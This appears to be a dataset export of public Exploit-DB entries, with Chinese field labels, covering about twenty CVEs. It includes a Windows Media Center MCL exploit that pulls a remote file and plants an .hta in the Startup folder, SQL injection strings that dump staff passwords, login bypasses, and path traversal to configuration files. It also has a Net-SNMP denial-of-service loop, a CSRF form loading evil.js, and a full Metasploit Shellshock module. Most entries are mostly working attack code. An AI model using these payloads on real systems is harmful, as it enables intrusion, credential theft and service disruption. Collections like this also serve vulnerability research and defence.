QLWD/code_shield huggingface dataset:
标题: Microsoft Windows Media Center Library - Parsing Remote Code Execution aka 'self-executing' MCL File EDB-ID: 38911 CVE: 2015-6131 类型: REMOTE 平台: WINDOWS 发布日期: 2015-12-09 漏洞利用脚本: Title: Microsoft Windows Media Center Library Parsing RCE Vuln aka "self-executing" MCL file (CVE-2015-6131)

Software Vendor: Microsoft

Software version : MS Windows Media Center latest version on any Windows OS.

Software Vendor Homepage: http://www.microsoft.com

CVE: CVE-2015-6131

Exploit Author: Eduardo Braun Prado

Vulnerability oficial discoverer: Zhang YunHai of NSFOCUS Security Team

date: december 8, 2015

Vulnerability description:

Windows Media Center contains a remote code execution vulnerability because it allows "MCL" files to reference themselves as HTML pages, which will be parsed inside Windows Media Center window, in the context of the local machine security zone of Internet Explorer browser. This in turn allows execution of arbitrary code using eg. ADO ActiveX Objects. AKA "self-executing" MCL files.


exploit code below:

----------- self-exec-1.mcl ------------------------------------

<application url="self-exec1.mcl"/><html><script>alert(' I am running in local machine zone which allows arbitrary code execution via, for example, ADO Objects')</script></html>

------------------------------------------------------------

----------self-exec-2.mcl--------------------------------------

<application url="self-exec2.mcl"/><html><b>Use a sniffer software to sniff SMB traffic and retrieve the remote Windows username required for this exploit</b><img src=\\192.168.10.10\smbshare\someimg.jpg></img><script> RecordsetURL='http://192.168.10.10:80/recordsetfile.txt'; var rs = new ActiveXObject('ADODB.recordset'); rs.Open(RecordsetURL); rs.Save('C:/users/windowsuser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/poc.hta'); rs.Close();
</script></html>
----------------------------------------------------------

-----Create-recordsetfile.hta --------------

<html><body onload="aa()">

<script language="VBScript">

function aa()


defdir="."

alert "This script will retrieve data from ""recordsetdata.txt"" and save it to the current directory as ""recordsetfile.txt"". 




Set c = CreateObject("ADODB.Connection")
co = "Driver={Microsoft Text Driver (*.txt; *.csv)};DefaultDir=" & defdir & ";Extensions=txt;"
c.Open co
set rs =CreateObject("ADODB.Recordset")
rs.Open "SELECT * from recordsetdata.txt", c
al=rs.Save(defdir & "\recordsetfile.txt")
rs.close

end function
</script></body></html>

-------------------------------------------------------------------------------


---------recordsetdata.txt------------------------------------------

<html>
<script>a=new ActiveXObject('Wscript.Shell')</script>
<script>a.Run('calc.exe',1);</script>
</html>
------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/38911
标题: Leed - 'id' SQL Injection EDB-ID: 38908 CVE: 2013-2627 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/64426/info

Leed is prone to an SQL-injection vulnerability.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/leed/action.php?action=removeFolder&id=[SQL Injection] URL: https://www.exploit-db.com/exploits/38908
标题: DenyHosts - 'regex.py' Remote Denial of Service EDB-ID: 38909 CVE: 2013-6890 类型: DOS 平台: LINUX 发布日期: 2013-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/64478/info

DenyHosts is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue allows remote attackers to deny further SSH network access to arbitrary IP addresses, denying service to legitimate users. 

ssh -l 'Invalid user root from 123.123.123.123' 21.21.21.21 URL: https://www.exploit-db.com/exploits/38909
标题: iScripts AutoHoster - 'fname' Local File Inclusion EDB-ID: 38891 CVE: 2013-7190 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/64377/info
      
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
      
/admin/downloadfile.php > probably injected by the Guy who nulled the script (thank u any way ;p)
$filename  = urldecode($_GET['fname']);
header("content-disposition:attachment;filename=$filename");
readfile($filename)
no need to cancel any thing , just beat it bro ;)
[+] Exploit : /admin/downloadfile.php?fname=../includes/config.php URL: https://www.exploit-db.com/exploits/38891
标题: iScripts AutoHoster - 'id' Local File Inclusion EDB-ID: 38892 CVE: 2013-7190 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/64377/info
       
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
       
/support/admin/csvdownload.php
  $filename="../csvfiles/".addslashes($_GET["id"]).".txt";
  header('Content-Description: File Transfer'); 
  header('Content-Type: application/force-download'); 
  header('Content-Length: ' . filesize($filename)); 
  header('Content-Disposition: attachment; filename=' . basename($filename)); 
  readfile($filename);
[+] Exploit : /support/admin/csvdownload.php?id=../../includes/config.php%00 URL: https://www.exploit-db.com/exploits/38892
标题: iScripts AutoHoster - 'invno' SQL Injection EDB-ID: 38888 CVE: 2013-7189 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/64377/info
   
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
   
/payinvoiceothers.php
invno=%Inject_Here% URL: https://www.exploit-db.com/exploits/38888
标题: iScripts AutoHoster - 'main_smtp.php' Traversal EDB-ID: 38889 CVE: 2013-7190 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/64377/info
    
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
    
/support/parser/main_smtp.php
^
Just light sandwitch before the fatty food :)) URL: https://www.exploit-db.com/exploits/38889
标题: iScripts AutoHoster - 'checktransferstatusbck.php' SQL Injection EDB-ID: 38886 CVE: 2013-7189 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/64377/info
 
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
 
/checktransferstatusbck.php
Table name : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x6661726973,(select distinct concat(0x7e,0x27,unhex(Hex(cast(table_name as char))),0x27,0x7e) from information_schema.tables where table_schema=database()limit 53,1),0x723078 and 'faris'='1337
Staff number : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x6661726973,(select concat(0x3e3e,count(*),0x3c3c) from autohoster_staffs),0x723078 and 'faris'='1337
Staff Data : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x6661726973,(select concat(0x3e3e,unhex(Hex(cast(vPassword as char))),0x5e,unhex(Hex(cast(vLogin as char))),0x5e,unhex(Hex(cast(vMail as char))),0x3c3c) from autohoster_staffs limit 0,1) ,0x723078 and 'faris'='1337 URL: https://www.exploit-db.com/exploits/38886
标题: iScripts AutoHoster - 'checktransferstatus.php' SQL Injection EDB-ID: 38885 CVE: 2013-7189 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/64377/info

iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks. 

/checktransferstatus.php
Table name : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x6661726973,(select distinct concat(0x7e,0x27,unhex(Hex(cast(table_name as char))),0x27,0x7e) from information_schema.tables where table_schema=database()limit 53,1),0x723078 and 'faris'='1337
Staff number : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x6661726973,(select concat(0x3e3e,count(*),0x3c3c) from autohoster_staffs),0x723078 and 'faris'='1337
Staff Data : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x6661726973,(select concat(0x3e3e,unhex(Hex(cast(vPassword as char))),0x5e,unhex(Hex(cast(vLogin as char))),0x5e,unhex(Hex(cast(vMail as char))),0x3c3c) from autohoster_staffs limit 0,1) ,0x723078 and 'faris'='1337 URL: https://www.exploit-db.com/exploits/38885
标题: Icinga - cgi/config.c process_cgivars Function Off-by-One Read Remote Denial of Service EDB-ID: 38882 CVE: 2013-7108 类型: DOS 平台: CGI 发布日期: 2013-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/64363/info

Icinga is prone to multiple memory-corruption vulnerabilities due to an off-by-one condition.

Attackers may exploit these issues to gain access to sensitive information or crash the affected application, denying service to legitimate users. 

http://www.example.com/cgi-bin/config.cgi?b=aaaa[..2000 times] URL: https://www.exploit-db.com/exploits/38882
标题: iScripts AutoHoster - 'additionalsettings.php' SQL Injection EDB-ID: 38887 CVE: 2013-7189 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/64377/info
  
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
  
Time based Blind Injection
/additionalsettings.php
Post : submit=faris&cmbdomain=%Inject_Here% URL: https://www.exploit-db.com/exploits/38887
标题: C2C Forward Auction Creator - '/auction/casp/Admin.asp' SQL Injection (Admin Authentication Bypass) EDB-ID: 38877 CVE: 2013-7193 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/64329/info
 
EtoShop C2C Forward Auction Creator is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
 
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.
 
EtoShop C2C Forward Auction Creator 2.0; other version may also be vulnerable. 

www.example.com/demo/C2CForwardAuction/auction/casp/admin.asp

UserID : x' or ' 1=1--
Password : x' or ' 1=1-- URL: https://www.exploit-db.com/exploits/38877
标题: Dynamic Biz Website Builder 'QuickWeb' 1.0 - '/login.asp' Multiple Field SQL Injections / Authentication Bypass EDB-ID: 38884 CVE: 2013-7192 类型: WEBAPPS 平台: ASP 发布日期: 2013-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/64371/info
 
EtoShop Dynamic Biz Website Builder (QuickWeb) is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
 
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.
 
EtoShop Dynamic Biz Website Builder (QuickWeb) 1.0.0 is vulnerable; other versions may also be affected.

www.example.com/dweb/login.asp

UserID : x' or ' 1=1--
Password : x' or ' 1=1-- URL: https://www.exploit-db.com/exploits/38884
标题: C2C Forward Auction Creator 2.0 - '/auction/asp/list.asp?pa' SQL Injection EDB-ID: 38876 CVE: 2013-7193 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/64329/info

EtoShop C2C Forward Auction Creator is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

EtoShop C2C Forward Auction Creator 2.0; other version may also be vulnerable. 

http://www.example.com/C2CForwardAuction/auction/asp/list.asp?pa=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/38876
标题: Dynamic Biz Website Builder (QuickWeb) 1.0 - '/apps/news-events/newdetail.asp?id' SQL Injection EDB-ID: 38883 CVE: 2013-7192 类型: WEBAPPS 平台: ASP 发布日期: 2013-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/64371/info

EtoShop Dynamic Biz Website Builder (QuickWeb) is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

EtoShop Dynamic Biz Website Builder (QuickWeb) 1.0.0 is vulnerable; other versions may also be affected.

http://www.example.com/dweb/apps/news-events/newdetail.asp?id=1=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/38883
标题: eduTrac - 'showmask' Directory Traversal EDB-ID: 38873 CVE: 2013-7097 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/64255/info

eduTrac is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker could exploit the vulnerability using directory-traversal characters ('../') to access arbitrary files that contain sensitive information. Information harvested may aid in launching further attacks.

eduTrac 1.1.1 is vulnerable; other versions may also be affected.

http://www.example.com/installer/overview.php?step=writeconfig&showmask=../../eduTrac/Config/constants.php URL: https://www.exploit-db.com/exploits/38873
标题: Enorth Webpublisher CMS - 'thisday' SQL Injection EDB-ID: 38862 CVE: 2013-6985 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/64110/info

Enorth Webpublisher is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

POST /pub/m_worklog/log_searchday.jsp HTTP/1.1
Host: www.example.com
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Cookie:
Pragma: no-cache
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 180
thisday=20131012') and UTL_INADDR.get_host_name((select v from (select rownum,USER_NAME||chr(94)||PASS_WORD v from TN_USER WHERE USER_ID=1) where rownum=1))>0--&cx.y=16&querytype= URL: https://www.exploit-db.com/exploits/38862
标题: Thomson Reuters Velocity Analytics - Remote Code Injection EDB-ID: 38850 CVE: 2013-5912 类型: REMOTE 平台: HARDWARE 发布日期: 2013-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/63880/info

Thomson Reuters Velocity Analytics is prone to a vulnerability that lets attackers inject and execute arbitrary code.

Successfully exploiting this issue may allow an attacker to upload and execute arbitrary code with SYSTEM privileges.

Thomson Reuters Velocity Analytics 6.94 build 2995 is vulnerable; other versions may also be affected. 

http://www.example.com/VhttpdMgr?action=importFile&fileName={BACKDOOR} URL: https://www.exploit-db.com/exploits/38850
标题: Net-SNMP - SNMPD AgentX Subagent Timeout Denial of Service EDB-ID: 38854 CVE: 2012-6151 类型: DOS 平台: LINUX 发布日期: 2012-09-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/64048/info

Net-SNMP is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to cause the SNMPD to crash, exhaust CPU resources or trigger infinite loop; denying service to legitimate users.

Net-SNMP 5.7.1 is vulnerable; other versions may also be affected. 

#!/bin/sh

SNMPOPTS="-v1 -c public"
LUCKYSNMPD=$1
SNMPWALKCMD="snmpwalk $SNMPOPTS $LUCKYSNMPD"
SNMPGETCMD="snmpget $SNMPOPTS $LUCKYSNMPD"
SNMPGETNEXTCMD="snmpgetnext $SNMPOPTS $LUCKYSNMPD"
TESTMIB=.1.3.6.1.4.1.8072.2
TESTTELEM=$TESTMIB.5
TESTHDD=$TESTMIB.1.1.2


while true
do

 $SNMPGETNEXTCMD $TESTTELEM.1.1.4.1 $TESTTELEM.1.1.4.2 $TESTTELEM.1.1.4.3 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.4.5 $TESTTELEM.1.1.2.3 $TESTTELEM.1.1.6.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.3.1 $TESTTELEM.1.1.1.2 $TESTTELEM.1.1.1.2 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.4.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.3.3 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.8.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.6.1 $TESTTELEM.1.1.2.1

 $SNMPGETNEXTCMD $TESTTELEM.1.1.4.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.8.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.4.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.6.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.7.1 $TESTTELEM.1.1.2.1

 for i in 1 2 3
 do
 $SNMPGETNEXTCMD $TESTTELEM.1.1.3 $TESTTELEM.1.1.2 $TESTTELEM.1.1.4 $TESTTELEM.1.1.2 $TESTHDD.4 $TESTHDD.5 $TESTHDD.7 $TESTHDD.5 $TESTHDD.2 $TESTHDD.1 $TESTHDD.4 $TESTHDD.1 $TESTHDD.7 $TESTHDD.1 $TESTHDD.8 $TESTHDD.1 $TESTHDD.14 $TESTHDD.1 $TESTHDD.13 $TESTHDD.1
 done


done URL: https://www.exploit-db.com/exploits/38854
标题: WordPress Plugin Blue Wrench Video Widget - Cross-Site Request Forgery EDB-ID: 38844 CVE: 2013-6797 类型: WEBAPPS 平台: PHP 发布日期: 2013-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/63800/info

The Blue Wrench Video Widget plugin for WordPress is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Blue Wrench Video Widget 1.0.2 is vulnerable; other versions may also be affected. 

<form id=.upload-form. 
action=.http://www.example1.com/wordpress/wp-admin/admin.php?page=bw-videos. 
method=.post.>
<table class=.form-table.>
<tbody>
<tr valign=.top.>
<th scope=.row.>Title</th>
<td><input id=.bw_title. type=.text. maxlength=.75. name=.bw_title. 
size=.70. value=.http://www.example2.com/code/evil.js. />
</tr>
<tr valign=.top .>
<th scope=.row.>URL</th>
<td><input id=.bw_url. type=.text. maxlength=.75. name=.bw_url. 
size=.70. value=.http://www.example2.com/code/evil.js. />
</td>
</tr>
</tbody>
</table>
</form> URL: https://www.exploit-db.com/exploits/38844
标题: Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection (Metasploit) EDB-ID: 38849 CVE: 2014-7196 2014-6271 类型: REMOTE 平台: CGI 发布日期: 2015-12-02 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Advantech Switch Bash Environment Variable Code Injection (Shellshock)',
      'Description' => %q{
        This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
        handles external environment variables. This module targets the 'ping.sh' CGI
        script, acessible through the Boa web server on Advantech switches. This module
        was tested against firmware version 1322_D1.98.
      },
      'Author' => 'hdm',
      'References' => [
        ['CVE', '2014-6271'],
        ['CWE', '94'],
        ['OSVDB', '112004'],
        ['EDB', '34765'],
        ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities'],
        ['URL', 'https://access.redhat.com/articles/1200223'],
        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
      ],
      'Privileged' => false,
      'Arch' => ARCH_CMD,
      'Platform' => 'unix',
      'Payload' =>
        {
          'Space' => 1024,
          'BadChars' => "\x00\x0A\x0D",
          'DisableNops' => true,
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'openssl generic'
            }
        },
      'Targets' =>  [[ 'Automatic Targeting', { 'auto' => true } ]],
      'DefaultTarget' => 0,
      'License' => MSF_LICENSE,
      'DisclosureDate' => 'Dec 01 2015'
    ))
    register_options([
      Opt::RPORT(80)
    ], self.class)
  end

  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
    %{() { :;}; $(#{cmd}) & }
  end

  #
  # Check credentials
  #
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/cgi-bin/ping.sh'
    )
    if !res
      vprint_error("#{peer} - No response from host")
      return Exploit::CheckCode::Unknown
    elsif res.headers['Server'] =~ /Boa\/(.*)/
      vprint_status("#{peer} - Found Boa version #{$1}")
    else
      print_status("#{peer} - Target is not a Boa web server")
      return Exploit::CheckCode::Safe
    end

    if res.body.to_s.index('127.0.0.1 ping statistics')
      return  Exploit::CheckCode::Detected
    else
      vprint_error("#{peer} - Target does not appear to be an Advantech switch")
      return Expoit::CheckCode::Safe
    end
  end

  #
  # Exploit
  #
  def exploit
    cmd = cve_2014_6271(payload.encoded)
    vprint_status("#{peer} - Trying to run command '#{cmd}'")
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/cgi-bin/ping.sh',
      'agent'  => cmd
    )
  end

end URL: https://www.exploit-db.com/exploits/38849
标题: Nginx 1.1.17 - URI Processing SecURIty Bypass EDB-ID: 38846 CVE: 2013-4547 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-11-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/63814/info

nginx is prone to a remote security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions.

nginx 0.8.41 through 1.5.6 are vulnerable. 

The following example data is available:

/file \0.php URL: https://www.exploit-db.com/exploits/38846